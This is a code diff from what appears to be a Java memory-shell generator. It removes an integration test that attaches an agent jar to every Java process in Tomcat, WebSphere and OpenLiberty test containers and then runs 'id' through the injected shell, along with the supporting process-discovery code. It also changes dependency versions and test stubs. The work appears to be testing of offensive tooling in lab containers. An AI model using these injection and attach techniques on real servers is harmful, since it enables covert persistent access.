+    public byte[] getAlpnIdentifier();
+
+    public String getAlpnName();
+
+    public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter);
+
+    public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request);
+
+    public boolean accept(Request request);
+}

generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java

@@ -0,0 +1,8 @@
+package org.apache.coyote.http11.upgrade;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+public interface InternalHttpUpgradeHandler {
+}

generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java

@@ -0,0 +1,8 @@
+package org.apache.tomcat.util.net;
+
+/**
+ * @author ReaJason
+ * @since 2025/12/6
+ */
+public class SocketWrapperBase<E>  {
+}

generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java

@@ -28,6 +28,12 @@ class ListenerGeneratorTest {
         }
     }
 
+    public static class J {
+        public HttpServletResponse getResponseFromRequest(HttpServletRequest request) {
+            return null;
+        }
+    }
+
     public static class FakeRequest {
         public Object response = "i'm a good boy";
     }
@@ -38,6 +44,12 @@ class ListenerGeneratorTest {
         Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world"));
     }
 
+    @Test
+    void testGetResponseFromRequestSignatureError() {
+        DynamicType.Builder<?> builder = new ByteBuddy().redefine(J.class);
+        Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world"));
+    }
+
     @Test
     @SneakyThrows
     void test() {

gradle/libs.versions.toml

@@ -11,39 +11,33 @@ spring-webflux = "5.3.24"
 reactor-netty = "1.1.25"
 jackson = "2.19.0"
 jetbrains-annotations = "26.0.2"
-alibaba-dubbo = "2.6.12"
-apache-dubbo = "2.7.6"
-tomcat = "8.5.85"
 
-byte-buddy = "1.18.5" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
+byte-buddy = "1.18.4"
-commons-io = "2.21.0" # https://mvnrepository.com/artifact/commons-io/commons-io
+commons-io = "2.21.0"
-commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
+commons-lang3 = "3.20.0"
-commons-codec = "1.21.0" # https://mvnrepository.com/artifact/commons-codec/commons-codec
+commons-codec = "1.20.0"
-logback = "1.5.32" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
+logback = "1.5.24"
-okhttp3 = "5.3.2" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
+okhttp3 = "5.3.2"
-fastjson2 = "2.0.61" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
+fastjson2 = "2.0.60"
-java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
+java-websocket = "1.6.0"
 
-mockito = "5.21.0"
+mockito = "5.20.0"
 hamcrest = "3.0"
-junit-jupiter = "5.14.3" # https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter
+junit-jupiter = "5.14.2"
 junit-pioneer = "2.3.0"
-junit-platform = "1.14.3" # https://mvnrepository.com/artifact/org.junit.platform/junit-platform-launcher
+junit-platform = "1.14.2"
-testcontainers = "2.0.4" # https://mvnrepository.com/artifact/org.testcontainers/testcontainers
+testcontainers = "2.0.3"
 
 [libraries]
-alibaba-dubbo = { module = "com.alibaba:dubbo", version.ref = "alibaba-dubbo" }
-apache-dubbo = { module = "org.apache.dubbo:dubbo", version.ref = "apache-dubbo" }
 byte-buddy = { module = "net.bytebuddy:byte-buddy", version.ref = "byte-buddy" }
-tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "tomcat" }
 asm-commons = { module = "org.ow2.asm:asm-commons", version.ref = "asm" }
 jna = { module = "net.java.dev.jna:jna", version.ref = "jna" }
 jna-platform = { module = "net.java.dev.jna:jna-platform", version.ref = "jna" }
 javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-api" }
 jakarta-servlet-api = { module = "jakarta.servlet:jakarta.servlet-api", version.ref = "jakarta-servlet-api" }
 javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-api" }
-jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api" }
+jakarta-websocket-api = { module = "jakarta.websocket:jakarta.websocket-api", version.ref = "jakarta-websocket-api"}
-jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api" }
+jakarta-websocket-client-api = { module = "jakarta.websocket:jakarta.websocket-client-api", version.ref = "jakarta-websocket-api"}
 spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "spring-webmvc" }
 spring-webflux = { module = "org.springframework:spring-webflux", version.ref = "spring-webflux" }
 reactor-netty-core = { module = "io.projectreactor.netty:reactor-netty-core", version.ref = "reactor-netty" }
@@ -75,4 +69,4 @@ testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
 
 [plugins]
 lombok = { id = "io.freefair.lombok", version = "9.2.0" }
-shadow = { id = "com.gradleup.shadow", version = "9.3.1" }
+shadow = { id = "com.gradleup.shadow", version = "9.3.1"}

integration-test/docker-compose/resin/docker-compose-2.1.17-jdk6.yaml

@@ -1,11 +0,0 @@
-services:
-  resin2117:
-    image: reajason/resin:2.1.17-jdk6
-    container_name: resin2117
-    ports:
-      - "8080:8080"
-      - "5005:5005"
-    environment:
-      JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
-    volumes:
-      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/resin2/webapps/app.war

integration-test/docker-compose/websphere/docker-compose-700.yaml

@@ -2,8 +2,6 @@ services:
   was700:
     image: reajason/websphere:7.0.0.21
     container_name: was700
-    environment:
-      JAVA_OPTS: -Xshareclasses:none
     ports:
       - "9080:9080"
       - "9060:9060"

integration-test/docker-compose/websphere/docker-compose-905.yaml

@@ -1,12 +0,0 @@
-services:
-  was905:
-    image: reajason/websphere:9.0.5.17
-    container_name: was905
-    ports:
-      - "9080:9080"
-      - "9060:9060"
-      - "5005:5005"
-    environment:
-      JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
-    volumes:
-      - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war

integration-test/script/resin_pid.sh

@@ -1,2 +1,2 @@
 #!/bin/bash
-pgrep -f 'Resin|-Dresin' | tr -d '\n'
+pgrep -f Resin | tr -d '\n'

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

@@ -503,60 +503,4 @@ public class ShellAssertion {
                 containsString("servletNameTestFilter -> ServletNameTestFilter -> Servlet:[b64, biginteger]")
         ));
     }
-
-    @SneakyThrows
-    public static void testListProcessAndAttachAll(String url, ContainerTestConfig config, String shellType, GenericContainer<?> appContainer) {
-        String shellTool = ShellTool.Command;
-        Packers packer = Packers.AgentJarWithJREAttacher;
-        Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
-        String shellUrl = urls.getLeft();
-        String urlPattern = urls.getRight();
-
-        ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
-        MemShellResult generateResult = generate(urlPattern, config.getServer(), config.getServerVersion(),
-                shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
-
-        // Pack and copy to container
-        byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
-        Path tempJar = Files.createTempFile("temp", "jar");
-        Files.write(tempJar, bytes);
-        String jarPath = "/listProcessTest.jar";
-        appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
-        FileUtils.deleteQuietly(tempJar.toFile());
-
-        // Test 1: List processes (no args)
-        Container.ExecResult listResult = appContainer.execInContainer("java", "-jar", jarPath);
-        String listStdout = listResult.getStdout();
-        if (listStdout.contains("executable file not found")) {
-            listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath);
-            listStdout = listResult.getStdout();
-            if (listStdout.contains("no such file or directory")) {
-                listResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath);
-                listStdout = listResult.getStdout();
-            }
-        }
-        log.info("list processes output:\n{}", listStdout);
-        System.out.println("list stderr: " + listResult.getStderr());
-        assertThat("Should find at least one Java process", listStdout.trim(), not(equalTo("")));
-        assertThat("Should find Java processes", listStdout, not(containsString("No Java processes found")));
-
-        // Test 2: Attach all
-        Container.ExecResult attachResult = appContainer.execInContainer("java", "-jar", jarPath, "all");
-        String attachStdout = attachResult.getStdout();
-        if (attachStdout.contains("executable file not found")) {
-            attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/bin/java", "-jar", jarPath, "all");
-            attachStdout = attachResult.getStdout();
-            if (attachStdout.contains("no such file or directory")) {
-                attachResult = appContainer.execInContainer("/opt/IBM/WebSphere/AppServer/java/8.0/jre/bin/java", "-jar", jarPath, "all");
-                attachStdout = attachResult.getStdout();
-            }
-        }
-        log.info("attach all output:\n{}", attachStdout);
-        System.out.println("attach all stderr: " + attachResult.getStderr());
-        assertThat("Attach all should complete with Success", attachStdout, containsString("Success"));
-
-        // Test 3: Verify shell injection was successful
-        String paramName = ((CommandConfig) shellToolConfig).getParamName();
-        commandIsOk(shellUrl, shellType, paramName, "id");
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat10ContainerTest.java

@@ -2,12 +2,10 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellTool;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -61,9 +59,4 @@ public class Tomcat10ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11ContainerTest.java

@@ -2,12 +2,10 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellTool;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -61,9 +59,4 @@ public class Tomcat11ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat11JRE21ContainerTest.java

@@ -2,12 +2,10 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellTool;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -60,9 +58,4 @@ public class Tomcat11JRE21ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat5ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -53,9 +51,4 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat6ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -52,9 +50,4 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat7ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -53,9 +51,4 @@ public class Tomcat7ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -55,9 +53,4 @@ public class Tomcat8ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat9ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.tomcat;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.junit.jupiter.Container;
@@ -55,9 +53,4 @@ public class Tomcat9ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty18ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty18ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty20ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty20ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty22ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty22ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/OpenLiberty25ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class OpenLiberty25ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere855ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class WebSphere855ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere/WebSphere905ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -52,9 +50,4 @@ public class WebSphere905ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/websphere7/WebSphere700ContainerTest.java

@@ -2,11 +2,9 @@ package com.reajason.javaweb.integration.memshell.websphere7;
 
 import com.reajason.javaweb.integration.AbstractContainerTest;
 import com.reajason.javaweb.integration.ContainerTestConfig;
-import com.reajason.javaweb.integration.ShellAssertion;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.packer.Packers;
 import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.Test;
 import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
@@ -15,7 +13,6 @@ import org.testcontainers.junit.jupiter.Testcontainers;
 
 import java.time.Duration;
 import java.util.List;
-import java.util.Map;
 
 /**
  * @author ReaJason
@@ -29,7 +26,6 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
                     "reajason/websphere:7.0.0.21",
                     "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war")
             .targetJdkVersion(Opcodes.V1_6)
-            .env(Map.of("JAVA_OPTS", "-Xshareclasses:none"))
             .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
             .supportedShellTypes(List.of(
                     ShellType.SERVLET,
@@ -50,9 +46,4 @@ public class WebSphere700ContainerTest extends AbstractContainerTest {
     protected ContainerTestConfig getConfig() {
         return CONFIG;
     }
-
-    @Test
-    void testListProcessAndAttachAll() {
-        ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.WAS_AGENT_FILTER_MANAGER, getContainer());
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java

@@ -18,7 +18,7 @@ import java.time.Duration;
 public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
 
     private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
-            .expectedJdkVersion("JRE|17.0.18|61")
+            .expectedJdkVersion("JRE|17.0.17|61")
             .targetJdkVersion(Opcodes.V1_8)
             .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
             .privilegedMode(true)

memshell-agent/memshell-agent-attacher/src/main/java/Attacher.java

@@ -15,7 +15,6 @@
  */
 
 import java.io.File;
-import java.io.FileInputStream;
 import java.io.IOException;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
@@ -23,18 +22,13 @@ import java.net.MalformedURLException;
 import java.net.URISyntaxException;
 import java.net.URL;
 import java.net.URLClassLoader;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
 import java.security.CodeSource;
 import java.security.PrivilegedAction;
 import java.security.ProtectionDomain;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
-import java.util.HashSet;
 import java.util.List;
-import java.util.Properties;
-import java.util.Set;
 
 /**
  * Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -97,41 +91,6 @@ public class Attacher {
         install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
     }
 
-    /**
-     * <p>
-     * Lists all discoverable Java processes on the local host.
-     * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
-     * </p>
-     * <p>
-     * HotSpot processes are discovered by scanning {@code hsperfdata_<user>} directories
-     * in the system temporary folder and parsing PerfData binary files to extract
-     * the main class name. OpenJ9 processes are discovered by scanning
-     * {@code .com_ibm_tools_attach} directories and reading {@code attachInfo} property files.
-     * </p>
-     * <p>
-     * <b>Note</b>: Only processes accessible to the current user are listed.
-     * Stale entries from crashed JVMs may appear. Processes started with
-     * {@code -XX:-UsePerfData} will not be discoverable via HotSpot scanning.
-     * </p>
-     *
-     * @return A list of discovered Java process descriptors.
-     */
-    public static List<JavaProcessDescriptor> listJavaProcesses() {
-        List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
-        Set<String> seenPids = new HashSet<String>();
-        for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
-            if (seenPids.add(descriptor.getPid())) {
-                processes.add(descriptor);
-            }
-        }
-        for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
-            if (seenPids.add(descriptor.getPid())) {
-                processes.add(descriptor);
-            }
-        }
-        return processes;
-    }
-
     /**
      * Installs a Java agent on a target VM.
      *
@@ -969,431 +928,4 @@ public class Attacher {
             }
         }
     }
-
-    /**
-     * Represents a discovered Java process on the local host.
-     */
-    public static class JavaProcessDescriptor {
-
-        /**
-         * The process ID.
-         */
-        private final String pid;
-
-        /**
-         * The main class name or JAR path, may be empty if unknown.
-         */
-        private final String mainClass;
-
-        /**
-         * The JVM type identifier, e.g. "HotSpot" or "OpenJ9".
-         */
-        private final String vmType;
-
-        /**
-         * Creates a new Java process descriptor.
-         *
-         * @param pid       The process ID.
-         * @param mainClass The main class name or JAR path, may be empty if unknown.
-         * @param vmType    The JVM type, e.g. "HotSpot" or "OpenJ9".
-         */
-        public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
-            this.pid = pid;
-            this.mainClass = mainClass;
-            this.vmType = vmType;
-        }
-
-        /**
-         * Returns the process ID.
-         *
-         * @return The process ID.
-         */
-        public String getPid() {
-            return pid;
-        }
-
-        /**
-         * Returns the main class name or JAR path. May be empty if unknown.
-         *
-         * @return The main class name.
-         */
-        public String getMainClass() {
-            return mainClass;
-        }
-
-        /**
-         * Returns the JVM type identifier.
-         *
-         * @return The JVM type, e.g. "HotSpot" or "OpenJ9".
-         */
-        public String getVmType() {
-            return vmType;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public String toString() {
-            StringBuilder sb = new StringBuilder();
-            sb.append(pid);
-            if (mainClass.length() > 0) {
-                sb.append(' ').append(mainClass);
-            }
-            sb.append(" (").append(vmType).append(')');
-            return sb.toString();
-        }
-    }
-
-    /**
-     * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories
-     * in the system temporary folder and parsing PerfData v2 binary files.
-     */
-    private static class HotSpotProcessDiscovery {
-
-        /**
-         * The PerfData magic number: {@code 0xcafec0c0}.
-         */
